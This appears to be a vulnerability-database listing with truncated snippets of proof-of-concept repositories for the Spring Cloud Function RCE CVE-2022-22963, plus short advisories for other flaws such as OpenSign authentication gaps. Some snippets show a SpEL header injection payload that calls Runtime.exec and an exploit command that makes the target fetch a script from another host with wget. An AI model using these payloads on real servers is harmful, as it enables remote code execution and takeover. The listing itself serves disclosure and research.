CVE-2022-22963-POC

Exploit CVE-2022-22963 Descrizione Nelle versioni di Spring Cloud Function 3.1.6, 3.2.2 e versioni precedenti non supportate, quando si utilizza la funzionalità di routing è possibile che un utente fornisca uno SpEL appositamente modificato come routing-expression che può comportare l'esecuzione ...

CVE-2022-22963

CVE-2022-22963-Reverse-Shell-Exploit Dies ist ein Python-Skript, das CVE-2022-22963 ausnutzt, eine Schwachstelle zur Remote-Codeausführung in Spring Cloud Function, die es Angreifern ermöglicht, beliebigen Code auf einem verwundbaren Server auszuführen. Der Exploit nutzt den verwundbaren...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE Exploit Dies ist eine Python-Implementierung von Spring4Shell, CVE-2022-22963, die Dienste betrifft, die Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed +...

CVE-2022-22963

CVE-2022-22963 Spring Cloud Function के संस्करण 3.1.6, 3.2.2 और इससे पहले के संस्करणों में, रूटिंग कार्यक्षमता का उपयोग करते समय, कोई उपयोगकर्ता रूटिंग एक्सप्रेशन के रूप में विशेष रूप से तैयार किया गया SpEL प्रदान कर सकता है, जिसके परिणामस्वरूप रिमोट कोड निष्पादन और स्थानीय संसाधनों तक पहुँच हो...

SpringCloudFunction-Research

SpringCloudFunction-Research Ricerca su CVE-2022-22963 Ambiente vulfocus/spring-cloud-function-rce:latest Causa Problema di analisi del parametro spring.cloud.function.routing-expression nell'Header della richiesta, che porta ad un attacco di iniezione del Payload. Riferimenti...

spring-spel-0day-poc

spring-spel-0day-poc spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header root@kitploit: spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" build root@kitploit: wget...

CVE-2022-22963

CVE-2022-22963 Automazione proof-of-concept a scopo didattico per CVE-2022-22963, dimostrata in un ambiente lab Hack The Box autorizzato. Panoramica CVE-2022-22963 è una vulnerabilità di Spring Cloud Function che coinvolge l'header spring.cloud.function.routing-expression. Con configurazioni...

CVE-2022-22963-Exploit

CVE-2022-22963 Exploit Dieses Repository enthält einen Rust-basierten Exploit für die Schwachstelle CVE-2022-22963, die in Spring Cloud Function Versionen 3.1.6, 3.2.2 und älteren, nicht unterstützten Versionen gefunden wurde. Die Schwachstelle ermöglicht die Ausführung von Remote-Code und den...

Exploit for Code Injection in Vmware Spring_Cloud_Function

No d...

CVE-2026-59291

CVE-2026-59291...

Insertion of Sensitive Information into Log File

Overview Affected versions of this package are vulnerable to Insertion of Sensitive Information into Log File via the logging process. An attacker can access sensitive information by triggering specific log events under certain conditions. Remediation Upgrade...

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Overview Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component 'Injection' through the composition lookup. An attacker can manipulate the base function by injecting malicious components during the lookup process,...

Insertion of Sensitive Information into Log File

Overview Affected versions of this package are vulnerable to Insertion of Sensitive Information into Log File in the logging process. An attacker can obtain sensitive information by accessing logs that may inadvertently contain confidential data. Remediation Upgrade...

CVE-2026-72549

An information disclosure vulnerability in OpenSignLabs OpenSign through 2.37.0 allows unauthenticated remote attackers to map any email address or username to its internal user objectId via the getUserId Parse cloud function. The function performs no authentication before resolving and returning...

CVE-2026-72548

An information disclosure vulnerability in OpenSignLabs OpenSign through 2.37.0 allows unauthenticated remote attackers to retrieve any organisation tenant record via the gettenant Parse cloud function. The function accepts a contactId parameter and returns the full tenant record without...

CVE-2026-72545

An insecure direct object reference vulnerability in OpenSignLabs OpenSign through 2.37.0 allows unauthenticated remote attackers to write to any contact record via the updatecontacttour Parse cloud function. The function performs no authentication or authorization before updating the target...

CVE-2026-72543

An insecure direct object reference vulnerability in OpenSignLabs OpenSign through 2.37.0 allows unauthenticated remote attackers to retrieve any contact record via the getcontact Parse cloud function. The function executes with useMasterKey and performs no authentication or authorization checks...

CVE-2026-72549

An information disclosure vulnerability in OpenSignLabs OpenSign through 2.37.0 allows unauthenticated remote attackers to map any email address or username to its internal user objectId via the getUserId Parse cloud function. The function performs no authentication before resolving and returning...

CVE-2026-72549

OpenSignLabs OpenSign (through version 2.37.0) contains an information disclosure vulnerability in the getUserId Parse cloud function. The function performs no authentication before resolving and returning the internal user objectId, enabling unauthenticated remote attackers to map any email addr...

CVE-2026-72549 OpenSignLabs OpenSign - Information Disclosure

An information disclosure vulnerability in OpenSignLabs OpenSign through 2.37.0 allows unauthenticated remote attackers to map any email address or username to its internal user objectId via the getUserId Parse cloud function. The function performs no authentication before resolving and returning...